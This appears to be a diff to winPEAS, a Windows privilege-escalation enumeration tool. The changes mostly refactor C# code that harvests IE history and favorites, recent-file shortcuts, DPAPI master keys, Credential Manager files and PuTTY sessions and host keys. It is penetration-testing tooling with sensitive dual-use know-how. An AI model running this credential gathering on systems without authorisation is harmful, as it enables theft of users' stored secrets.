Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
@@ -51,9 +51,9 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for GET credentials in IE history");
|
Beaprint.MainPrint("Looking for GET credentials in IE history");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav();
|
Dictionary<string, List<string>> ieHistoryBook = GetIEHistFav();
|
||||||
List<string> history = chromeHistBook["history"];
|
List<string> history = ieHistoryBook["history"];
|
||||||
List<string> favorites = chromeHistBook["favorites"];
|
List<string> favorites = ieHistoryBook["favorites"];
|
||||||
|
|
||||||
if (history.Count > 0)
|
if (history.Count > 0)
|
||||||
{
|
{
|
||||||
@@ -69,8 +69,15 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
|
|
||||||
|
int limit = 50;
|
||||||
|
Beaprint.MainPrint($"IE history -- limit {limit}\n");
|
||||||
|
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Beaprint.NotFoundPrint();
|
||||||
}
|
}
|
||||||
|
|
||||||
Beaprint.MainPrint("IE favorites");
|
Beaprint.MainPrint("IE favorites");
|
||||||
@@ -91,7 +98,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
{ "favorites", new List<string>() },
|
{ "favorites", new List<string>() },
|
||||||
};
|
};
|
||||||
|
|
||||||
DateTime startTime = System.DateTime.Now.AddDays(-lastDays);
|
DateTime startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -167,39 +174,31 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
{
|
{
|
||||||
foreach (KeyValuePair<string, object> kvp in settings)
|
foreach (KeyValuePair<string, object> kvp in settings)
|
||||||
{
|
{
|
||||||
byte[] timeBytes = RegistryHelper.GetRegValueBytes("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.ToString().Trim());
|
results["history"].Add(kvp.Value.ToString().Trim());
|
||||||
if (timeBytes != null)
|
|
||||||
{
|
|
||||||
long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0));
|
|
||||||
DateTime urlTime = DateTime.FromFileTime(timeLong);
|
|
||||||
if (urlTime > startTime)
|
|
||||||
{
|
|
||||||
results["history"].Add(kvp.Value.ToString().Trim());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||||
|
if (Directory.Exists(userIEBookmarkPath))
|
||||||
string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
|
|
||||||
|
|
||||||
foreach (string bookmarkPath in bookmarkPaths)
|
|
||||||
{
|
{
|
||||||
using (StreamReader rdr = new StreamReader(bookmarkPath))
|
string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
|
||||||
|
foreach (string bookmarkPath in bookmarkPaths)
|
||||||
{
|
{
|
||||||
string line;
|
using (StreamReader rdr = new StreamReader(bookmarkPath))
|
||||||
string url = "";
|
|
||||||
while ((line = rdr.ReadLine()) != null)
|
|
||||||
{
|
{
|
||||||
if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase))
|
string line;
|
||||||
|
string url = "";
|
||||||
|
while ((line = rdr.ReadLine()) != null)
|
||||||
{
|
{
|
||||||
if (line.Length > 4)
|
if (line.StartsWith("URL=", StringComparison.InvariantCultureIgnoreCase))
|
||||||
url = line.Substring(4);
|
{
|
||||||
break;
|
if (line.Length > 4)
|
||||||
|
url = line.Substring(4);
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
results["favorites"].Add(url.ToString().Trim());
|
||||||
}
|
}
|
||||||
results["favorites"].Add(url.ToString().Trim());
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
@@ -6,7 +7,6 @@ using System.Reflection;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
@@ -76,7 +76,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
var currentUserDir = Environment.GetEnvironmentVariable("USERPROFILE");
|
var currentUserDir = Environment.GetEnvironmentVariable("USERPROFILE");
|
||||||
userDirs = new List<string>{ currentUserDir };
|
userDirs = new List<string> { currentUserDir };
|
||||||
}
|
}
|
||||||
|
|
||||||
foreach (var userDir in userDirs)
|
foreach (var userDir in userDirs)
|
||||||
@@ -123,7 +123,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
// parses recent file shortcuts via COM
|
// parses recent file shortcuts via COM
|
||||||
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||||
int lastDays = 7;
|
int lastDays = 7;
|
||||||
DateTime startTime = System.DateTime.Now.AddDays(-lastDays);
|
DateTime startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
@@ -145,31 +145,34 @@ namespace winPEAS.KnownFileCreds
|
|||||||
string recentPath = string.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir);
|
string recentPath = string.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir);
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string[] recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories).ToArray();
|
if (Directory.Exists(recentPath))
|
||||||
|
|
||||||
if (recentFiles.Length != 0)
|
|
||||||
{
|
{
|
||||||
Console.WriteLine(" {0} :\r\n", userName);
|
string[] recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories).ToArray();
|
||||||
foreach (string recentFile in recentFiles)
|
|
||||||
|
if (recentFiles.Length != 0)
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile);
|
Console.WriteLine(" {0} :\r\n", userName);
|
||||||
|
foreach (string recentFile in recentFiles)
|
||||||
if (lastAccessed > startTime)
|
|
||||||
{
|
{
|
||||||
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
|
DateTime lastAccessed = File.GetLastAccessTime(recentFile);
|
||||||
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
|
|
||||||
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
|
|
||||||
|
|
||||||
if (TargetPath.ToString().Trim() != "")
|
if (lastAccessed > startTime)
|
||||||
{
|
{
|
||||||
results.Add(new Dictionary<string, string>()
|
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
|
||||||
|
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
|
||||||
|
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
|
||||||
|
|
||||||
|
if (TargetPath.ToString().Trim() != "")
|
||||||
|
{
|
||||||
|
results.Add(new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ "Target", TargetPath.ToString() },
|
{ "Target", TargetPath.ToString() },
|
||||||
{ "Accessed", string.Format("{0}", lastAccessed) }
|
{ "Accessed", string.Format("{0}", lastAccessed) }
|
||||||
});
|
});
|
||||||
|
}
|
||||||
|
Marshal.ReleaseComObject(shortcut);
|
||||||
|
shortcut = null;
|
||||||
}
|
}
|
||||||
Marshal.ReleaseComObject(shortcut);
|
|
||||||
shortcut = null;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -180,33 +183,35 @@ namespace winPEAS.KnownFileCreds
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
string recentPath = string.Format("{0}\\Microsoft\\Windows\\Recent\\", System.Environment.GetEnvironmentVariable("APPDATA"));
|
string recentPath = string.Format("{0}\\Microsoft\\Windows\\Recent\\", Environment.GetEnvironmentVariable("APPDATA"));
|
||||||
|
if (Directory.Exists(recentPath))
|
||||||
var recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories);
|
|
||||||
|
|
||||||
foreach (string recentFile in recentFiles)
|
|
||||||
{
|
{
|
||||||
// old method (needed interop dll)
|
var recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories);
|
||||||
//WshShell shell = new WshShell();
|
|
||||||
//IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile);
|
|
||||||
|
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile);
|
foreach (string recentFile in recentFiles)
|
||||||
|
|
||||||
if (lastAccessed > startTime)
|
|
||||||
{
|
{
|
||||||
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
|
// old method (needed interop dll)
|
||||||
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
|
//WshShell shell = new WshShell();
|
||||||
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
|
//IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile);
|
||||||
if (TargetPath.ToString().Trim() != "")
|
|
||||||
|
DateTime lastAccessed = File.GetLastAccessTime(recentFile);
|
||||||
|
|
||||||
|
if (lastAccessed > startTime)
|
||||||
{
|
{
|
||||||
results.Add(new Dictionary<string, string>()
|
// invoke the WshShell com object, creating a shortcut to then extract the TargetPath from
|
||||||
|
Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile });
|
||||||
|
Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { });
|
||||||
|
if (TargetPath.ToString().Trim() != "")
|
||||||
|
{
|
||||||
|
results.Add(new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ "Target", TargetPath.ToString() },
|
{ "Target", TargetPath.ToString() },
|
||||||
{ "Accessed", string.Format("{0}", lastAccessed) }
|
{ "Accessed", string.Format("{0}", lastAccessed) }
|
||||||
});
|
});
|
||||||
|
}
|
||||||
|
Marshal.ReleaseComObject(shortcut);
|
||||||
|
shortcut = null;
|
||||||
}
|
}
|
||||||
Marshal.ReleaseComObject(shortcut);
|
|
||||||
shortcut = null;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -237,13 +242,15 @@ namespace winPEAS.KnownFileCreds
|
|||||||
string userName = parts[parts.Length - 1];
|
string userName = parts[parts.Length - 1];
|
||||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||||
{
|
{
|
||||||
List<string> userDPAPIBasePaths = new List<string>();
|
List<string> userDPAPIBasePaths = new List<string>
|
||||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
{
|
||||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE")),
|
||||||
|
string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE"))
|
||||||
|
};
|
||||||
|
|
||||||
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
|
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
|
||||||
{
|
{
|
||||||
if (System.IO.Directory.Exists(userDPAPIBasePath))
|
if (Directory.Exists(userDPAPIBasePath))
|
||||||
{
|
{
|
||||||
var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
|
var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
|
||||||
foreach (string directory in directories)
|
foreach (string directory in directories)
|
||||||
@@ -254,9 +261,9 @@ namespace winPEAS.KnownFileCreds
|
|||||||
{
|
{
|
||||||
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
DateTime lastModified = File.GetLastWriteTime(file);
|
||||||
string fileName = System.IO.Path.GetFileName(file);
|
string fileName = Path.GetFileName(file);
|
||||||
results.Add(new Dictionary<string, string>()
|
results.Add(new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ "MasterKey", file },
|
{ "MasterKey", file },
|
||||||
@@ -274,13 +281,15 @@ namespace winPEAS.KnownFileCreds
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
||||||
List<string> userDPAPIBasePaths = new List<string>();
|
List<string> userDPAPIBasePaths = new List<string>
|
||||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
{
|
||||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE")),
|
||||||
|
string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE"))
|
||||||
|
};
|
||||||
|
|
||||||
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
|
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
|
||||||
{
|
{
|
||||||
if (System.IO.Directory.Exists(userDPAPIBasePath))
|
if (Directory.Exists(userDPAPIBasePath))
|
||||||
{
|
{
|
||||||
var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
|
var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
|
||||||
foreach (string directory in directories)
|
foreach (string directory in directories)
|
||||||
@@ -291,9 +300,9 @@ namespace winPEAS.KnownFileCreds
|
|||||||
{
|
{
|
||||||
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
DateTime lastModified = File.GetLastWriteTime(file);
|
||||||
string fileName = System.IO.Path.GetFileName(file);
|
string fileName = Path.GetFileName(file);
|
||||||
results.Add(new Dictionary<string, string>()
|
results.Add(new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ "MasterKey", file },
|
{ "MasterKey", file },
|
||||||
@@ -331,23 +340,25 @@ namespace winPEAS.KnownFileCreds
|
|||||||
string userName = parts[parts.Length - 1];
|
string userName = parts[parts.Length - 1];
|
||||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||||
{
|
{
|
||||||
List<string> userCredFilePaths = new List<string>();
|
List<string> userCredFilePaths = new List<string>
|
||||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir));
|
{
|
||||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir));
|
string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir),
|
||||||
|
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir)
|
||||||
|
};
|
||||||
|
|
||||||
foreach (string userCredFilePath in userCredFilePaths)
|
foreach (string userCredFilePath in userCredFilePaths)
|
||||||
{
|
{
|
||||||
if (System.IO.Directory.Exists(userCredFilePath))
|
if (Directory.Exists(userCredFilePath))
|
||||||
{
|
{
|
||||||
var systemFiles = Directory.EnumerateFiles(userCredFilePath);
|
var systemFiles = Directory.EnumerateFiles(userCredFilePath);
|
||||||
if ((systemFiles != null))
|
if ((systemFiles != null))
|
||||||
{
|
{
|
||||||
foreach (string file in systemFiles)
|
foreach (string file in systemFiles)
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
DateTime lastModified = File.GetLastWriteTime(file);
|
||||||
long size = new System.IO.FileInfo(file).Length;
|
long size = new FileInfo(file).Length;
|
||||||
string fileName = System.IO.Path.GetFileName(file);
|
string fileName = Path.GetFileName(file);
|
||||||
|
|
||||||
// jankily parse the bytes to extract the credential type and master key GUID
|
// jankily parse the bytes to extract the credential type and master key GUID
|
||||||
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
||||||
@@ -381,49 +392,54 @@ namespace winPEAS.KnownFileCreds
|
|||||||
}
|
}
|
||||||
|
|
||||||
string systemFolder = string.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot"));
|
string systemFolder = string.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot"));
|
||||||
var files = Directory.EnumerateFiles(systemFolder);
|
if (Directory.Exists(systemFolder))
|
||||||
if ((files != null))
|
|
||||||
{
|
{
|
||||||
foreach (string file in files)
|
var files = Directory.EnumerateFiles(systemFolder);
|
||||||
|
if ((files != null))
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
foreach (string file in files)
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
|
||||||
long size = new System.IO.FileInfo(file).Length;
|
|
||||||
string fileName = System.IO.Path.GetFileName(file);
|
|
||||||
|
|
||||||
// jankily parse the bytes to extract the credential type and master key GUID
|
|
||||||
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
|
||||||
byte[] credentialArray = File.ReadAllBytes(file);
|
|
||||||
byte[] guidMasterKeyArray = new byte[16];
|
|
||||||
Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16);
|
|
||||||
Guid guidMasterKey = new Guid(guidMasterKeyArray);
|
|
||||||
|
|
||||||
byte[] stringLenArray = new byte[16];
|
|
||||||
Array.Copy(credentialArray, 56, stringLenArray, 0, 4);
|
|
||||||
int descLen = BitConverter.ToInt32(stringLenArray, 0);
|
|
||||||
|
|
||||||
byte[] descBytes = new byte[descLen];
|
|
||||||
Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4);
|
|
||||||
|
|
||||||
string desc = Encoding.Unicode.GetString(descBytes);
|
|
||||||
results.Add(new Dictionary<string, string>()
|
|
||||||
{
|
{
|
||||||
{ "CredFile", file },
|
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||||
{ "Description", desc },
|
DateTime lastModified = File.GetLastWriteTime(file);
|
||||||
{ "MasterKey", string.Format("{0}", guidMasterKey) },
|
long size = new System.IO.FileInfo(file).Length;
|
||||||
{ "Accessed", string.Format("{0}", lastAccessed) },
|
string fileName = Path.GetFileName(file);
|
||||||
{ "Modified", string.Format("{0}", lastModified) },
|
|
||||||
{ "Size", string.Format("{0}", size) },
|
// jankily parse the bytes to extract the credential type and master key GUID
|
||||||
});
|
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
||||||
|
byte[] credentialArray = File.ReadAllBytes(file);
|
||||||
|
byte[] guidMasterKeyArray = new byte[16];
|
||||||
|
Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16);
|
||||||
|
Guid guidMasterKey = new Guid(guidMasterKeyArray);
|
||||||
|
|
||||||
|
byte[] stringLenArray = new byte[16];
|
||||||
|
Array.Copy(credentialArray, 56, stringLenArray, 0, 4);
|
||||||
|
int descLen = BitConverter.ToInt32(stringLenArray, 0);
|
||||||
|
|
||||||
|
byte[] descBytes = new byte[descLen];
|
||||||
|
Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4);
|
||||||
|
|
||||||
|
string desc = Encoding.Unicode.GetString(descBytes);
|
||||||
|
results.Add(new Dictionary<string, string>()
|
||||||
|
{
|
||||||
|
{ "CredFile", file },
|
||||||
|
{ "Description", desc },
|
||||||
|
{ "MasterKey", string.Format("{0}", guidMasterKey) },
|
||||||
|
{ "Accessed", string.Format("{0}", lastAccessed) },
|
||||||
|
{ "Modified", string.Format("{0}", lastModified) },
|
||||||
|
{ "Size", string.Format("{0}", size) },
|
||||||
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
||||||
List<string> userCredFilePaths = new List<string>();
|
List<string> userCredFilePaths = new List<string>
|
||||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
{
|
||||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", Environment.GetEnvironmentVariable("USERPROFILE")),
|
||||||
|
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", Environment.GetEnvironmentVariable("USERPROFILE"))
|
||||||
|
};
|
||||||
|
|
||||||
foreach (string userCredFilePath in userCredFilePaths)
|
foreach (string userCredFilePath in userCredFilePaths)
|
||||||
{
|
{
|
||||||
@@ -433,10 +449,10 @@ namespace winPEAS.KnownFileCreds
|
|||||||
|
|
||||||
foreach (string file in files)
|
foreach (string file in files)
|
||||||
{
|
{
|
||||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
DateTime lastModified = File.GetLastWriteTime(file);
|
||||||
long size = new System.IO.FileInfo(file).Length;
|
long size = new System.IO.FileInfo(file).Length;
|
||||||
string fileName = System.IO.Path.GetFileName(file);
|
string fileName = Path.GetFileName(file);
|
||||||
|
|
||||||
// jankily parse the bytes to extract the credential type and master key GUID
|
// jankily parse the bytes to extract the credential type and master key GUID
|
||||||
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Putty Sessions");
|
Beaprint.MainPrint("Putty Sessions");
|
||||||
List<Dictionary<string, string>> putty_sess = Putty.GetPuttySessions();
|
List<Dictionary<string, string>> putty_sess = GetPuttySessions();
|
||||||
|
|
||||||
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
@@ -39,7 +39,7 @@ namespace winPEAS.KnownFileCreds
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Beaprint.MainPrint("Putty SSH Host keys");
|
Beaprint.MainPrint("Putty SSH Host keys");
|
||||||
List<Dictionary<string, string>> putty_sess = Putty.ListPuttySSHHostKeys();
|
List<Dictionary<string, string>> putty_sess = ListPuttySSHHostKeys();
|
||||||
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ ".*", Beaprint.ansi_color_bad },
|
{ ".*", Beaprint.ansi_color_bad },
|
||||||
@@ -129,6 +129,24 @@ namespace winPEAS.KnownFileCreds
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
string[] subKeys = RegistryHelper.GetRegSubkeys("HKCU", "Software\\SimonTatham\\PuTTY\\Sessions\\");
|
string[] subKeys = RegistryHelper.GetRegSubkeys("HKCU", "Software\\SimonTatham\\PuTTY\\Sessions\\");
|
||||||
|
RegistryKey selfKey = Registry.CurrentUser.OpenSubKey(@"Software\\SimonTatham\\PuTTY\\Sessions"); // extract own Sessions registry keys
|
||||||
|
|
||||||
|
if (selfKey != null)
|
||||||
|
{
|
||||||
|
string[] subKeyNames = selfKey.GetValueNames();
|
||||||
|
foreach (string name in subKeyNames)
|
||||||
|
{
|
||||||
|
Dictionary<string, string> putty_sess_key = new Dictionary<string, string>()
|
||||||
|
{
|
||||||
|
{ "RegKey Name", name },
|
||||||
|
{ "RegKey Value", (string)selfKey.GetValue(name) },
|
||||||
|
};
|
||||||
|
|
||||||
|
results.Add(putty_sess_key);
|
||||||
|
}
|
||||||
|
selfKey.Close();
|
||||||
|
}
|
||||||
|
|
||||||
foreach (string sessionName in subKeys)
|
foreach (string sessionName in subKeys)
|
||||||
{
|
{
|
||||||
Dictionary<string, string> putty_sess = new Dictionary<string, string>()
|
Dictionary<string, string> putty_sess = new Dictionary<string, string>()
|
||||||
@@ -182,8 +200,10 @@ namespace winPEAS.KnownFileCreds
|
|||||||
Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues("HKU", string.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID));
|
Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues("HKU", string.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID));
|
||||||
if ((hostKeys != null) && (hostKeys.Count != 0))
|
if ((hostKeys != null) && (hostKeys.Count != 0))
|
||||||
{
|
{
|
||||||
Dictionary<string, string> putty_ssh = new Dictionary<string, string>();
|
Dictionary<string, string> putty_ssh = new Dictionary<string, string>
|
||||||
putty_ssh["UserSID"] = SID;
|
{
|
||||||
|
["UserSID"] = SID
|
||||||
|
};
|
||||||
foreach (KeyValuePair<string, object> kvp in hostKeys)
|
foreach (KeyValuePair<string, object> kvp in hostKeys)
|
||||||
{
|
{
|
||||||
